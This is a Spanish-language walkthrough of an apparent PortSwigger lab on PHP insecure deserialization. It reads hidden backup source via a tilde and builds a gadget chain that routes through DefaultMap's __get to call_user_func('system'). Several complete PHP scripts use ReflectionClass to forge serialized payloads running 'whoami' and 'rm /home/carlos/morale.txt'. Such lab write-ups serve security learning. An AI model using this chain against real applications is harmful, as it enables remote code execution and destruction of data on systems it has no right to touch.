Este laboratorio nos deja claro que debemos crear una gadget chain pero está vez enfocada en la ejecución rémota de codigo significa que posiblemente el codigo fuente en su estructura interna de como funciona la serialización, la aplicación estará implementando algún método inseguro que nos podrá permitir la ejecución de código rémoto, y si podemos crearlo entonces seguramente podremos eliminar el archivo morale.txt
Una pista que nos dejo el laboratorio es que el caracter virgulilla nos permite poder ver archivos de la aplicación que normalmente están es ocultos, ya veremos.
Ya encontramos un comentario puntual en el DOM de la app, que nos puede ser de utilidad, sin embargo no nos deja acceder así sin más debo añadir la virgulilla “~”
/cgi-bin/libs/CustomTemplate.php~
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
Con un poquito de investigación e IA podemos ir entendiendo un poco más el codigo, primero hay varios puntos a tratar en este codigo:
$this->desc = new Description(); → Se instancia de una manera que puede permitirnos intentar modificar el serializado para que realmente se instancie la clase DefaultMap que es la que tiene algo interesante para el RCE.
$this->desc = $desc->$default_desc_type; → Este seteo dentro del constructor de la clase Product muestra un paradigma diferente de OOP sino POP que es enfocado en el uso de propiedades y objetos en lugar de funciones o procedimientos.
__get($name) { return call_user_func($this->callback, $name); → este que por ahi podemos enfocar el código customizado gadget chain para poder lograr el RCE, ya que call_user_func trata precisamente de llamar a una función arbitraria en este caso callback pero callback es manipulable por nosotros así que podemos reemplazarla por una función especifica para poder ejecutar comandos arbitarios, y además __get() sabemos que es un método magico.
Ahora bien, vamos a entender la estructura del objeto serializado →
Lo que dice Google AI →
Posible Gadget Chain y Explotación RCE
El objetivo es lograr la ejecución de código arbitrario (RCE) mediante la manipulación de objetos y su deserialización. Aquí está la idea de la cadena de gadgets:
Punto de Entrada: Vamos a manipular un objeto CustomTemplate serializado.
Deserialización y __wakeup(): Cuando el objeto CustomTemplate es deserializado, se llama al método mágico __wakeup().
Llamada a build_product(): __wakeup() llama a build_product(), que a su vez crea un nuevo objeto Product.
Product y el problema: El constructor del objeto Product utiliza $this->desc->$default_desc_type para acceder a la descripción. Aquí está el problema. Si conseguimos controlar el $default_desc_type y el $desc, podríamos conseguir un método POP, property oriented programming.
Control de $desc: En la serialización de CustomTemplate se guarda la instancia de la clase Description. Podemos cambiar esta instancia por una instancia de la clase DefaultMap
Control de $default_desc_type: También se serializa este valor por lo que se puede manipular.
DefaultMap: __get(): Al usar -> sobre el objeto DefaultMap, se ejecuta el metodo magico __get
RCE con call_user_func(): Podemos usar la clase DefaultMap para ejecutar una función arbitraria, ya que __get() usa un call_user_func y nosotros controlamos el valor de la $callback.
Encadenamiento: Utilizando DefaultMap como entrada, llamamos a la funcion system pasando como parametro la función que queremos ejecutar.
Todo esto lo ejecutaré desde la página online de compilar php →
<?php
// Código de las clases (ya definido en la pregunta)
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
// Payload
$payload = new CustomTemplate();
$payload->default_desc_type = "whoami";
$payload->desc = new DefaultMap("system");
$serialized = serialize($payload);
echo "Serialized Payload: ".$serialized."\n";
// Deserialización y ejecución del RCE
unserialize($serialized);
?>
Gadget Chain con Reflection properties →
Usamos reflections ya que como sabemos los atributos desc, default_desc_type son privados por lo cual si queremos inicializar un objeto para poder acceder a esos atributos desde fuera no podemos ya que son privados por esta razón se pueden usar dos alternativas, setters, o reflections y en este caso con reflections properties lo haré ya que con setters involucra directamente que tenga editar el codigo real legitimo de la app lo cual puede causar un comportamiento diferente al momento de generar el objeto serializado por lo cual prefiero dejarlo tal cual, y solo inicializar con los metodos claves de reflections property.
Reflection:
Se crea una instancia de ReflectionClass para la clase CustomTemplate.
Obtenemos las propiedades default_desc_type y desc usando getProperty().
Usamos setAccessible(true) para poder acceder a estas propiedades privadas.
Usamos setValue() para modificar los valores de las propiedades del objeto $payload.
<?php
// Author: JF0x0r - Resolución de laboratorio portswigger.
// Código de las clases (ya definido en la pregunta)
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type; //Properties object paradigm in PHP
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) { //metodo magico que se ejecuta cuando se intenta acceder a una propiedad inexistente.
return call_user_func($this->callback, $name); //llama a la funcion que se le pasa como parametro, lo cual nos deja la oportunidad de ejecutar codigo arbitrario con una llamada a una funcion maliciosa.
}
}
// Payload
$payload = new CustomTemplate();
$reflection = new ReflectionClass('CustomTemplate');
$default_desc_type_property = $reflection->getProperty('default_desc_type');
$default_desc_type_property->setAccessible(true);
$default_desc_type_property->setValue($payload, "whoami");
$desc_property = $reflection->getProperty('desc');
$desc_property->setAccessible(true);
$desc_property->setValue($payload, new DefaultMap("system"));
$serialized = serialize($payload);
echo "Serialized Payload: ".$serialized."\n";
// Deserialización y ejecución del RCE
unserialize($serialized);
?>
Parece que genera un objeto serializado relativamente bueno, vamos a añadir el comando real que es de eliminar morale.txt
// Payload
$payload = new CustomTemplate();
$reflection = new ReflectionClass('CustomTemplate');
$default_desc_type_property = $reflection->getProperty('default_desc_type');
$default_desc_type_property->setAccessible(true);
$default_desc_type_property->setValue($payload, "rm /home/carlos/morale.txt");
$desc_property = $reflection->getProperty('desc');
$desc_property->setAccessible(true);
$desc_property->setValue($payload, new DefaultMap("system"));
$serialized = serialize($payload);
echo "Serialized Payload: ".$serialized."\n";
// Deserialización y ejecución del RCE
unserialize($serialized);
Curiosamente me devuelve que no puede eliminar el morale.txt la pagina compiladora de php, parece que si se está generando bien el código.